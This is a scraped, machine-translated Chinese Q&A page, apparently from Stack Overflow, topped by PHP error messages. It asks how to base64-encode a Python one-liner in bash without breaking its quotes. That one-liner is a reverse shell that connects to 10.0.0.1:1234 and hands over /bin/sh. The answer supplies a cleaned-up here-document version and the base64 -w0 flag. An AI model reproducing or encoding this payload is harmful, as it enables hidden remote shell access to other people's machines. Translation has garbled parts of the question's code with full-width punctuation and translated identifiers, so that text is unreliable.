Warning: file_get_contents(/data/phpspider/zhask/data//catemap/5/spring-mvc/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
如何在bash中转义base64编码字符串中的引号?_Bash_Base64 - Fatal编程技术网

如何在bash中转义base64编码字符串中的引号?

如何在bash中转义base64编码字符串中的引号?,bash,base64,Bash,Base64,因此,我尝试对包含python单行程序的字符串进行base64编码 如何将base64编码字符串拆分为多行?我想是引用的。“'” 这就是我尝试过的: echo“python-c”导入套接字、子进程、操作系统; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s、 connect(((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(

因此,我尝试对包含python单行程序的字符串进行base64编码

如何将base64编码字符串拆分为多行?我想是引用的。“'”

这就是我尝试过的:

echo“python-c”导入套接字、子进程、操作系统;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s、 connect(((“10.0.0.1”,1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
p=子进程调用([“/bin/sh”,“-i”];”“| base64
它输出:

cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7IHM9c29ja2V0LnNvY2tldChz 
b2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgcy5jb25uZWN0KCgxMC4wLjAuMSwx 
MjM0KSk7IG9zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5k 
dXAyKHMuZmlsZW5vKCksMik7IHA9c3VicHJvY2Vzcy5jYWxsKFsvYmluL3NoLC1pXSk7Jwo=
将base64编码字符串拆分为多行是什么

换行符是基于输出长度而不是基于输入中的特殊符号插入的。参见
man base64

-w,--wrap=COLS
在COLS字符后换行编码(默认为76)。使用0禁用换行

因此,您可以编写
echo someString | base64-w0

请注意,
bash
如果引用不正确,可能会损坏字符串。在您的情况下,
子流程调用([“/bin/sh”,“-i”])
中的
bash
吞没,而不是由
echo
打印。请编写
\”
或使用here文档:

base64 -w0 <<'EOF'
python -c 'import socket,subprocess,os; 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); 
s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); 
p=subprocess.call(["/bin/sh","-i"]);'
EOF

base64-w0您需要转义调用
subprocess.call
时使用的双引号,因为开头的引号过早地关闭了
echo
.echo“python-c”import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect('10.0.1',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);“| base64……”。。。。。。。。输出相同的结果是否可以通过管道将输出传输到类似“string>file.txt”的文件?或者存储到变量中?是的。语法是
base64-w0我知道换行符的意思是实际的换行符很抱歉混淆了。谢谢使用bash解码字符串怎么样?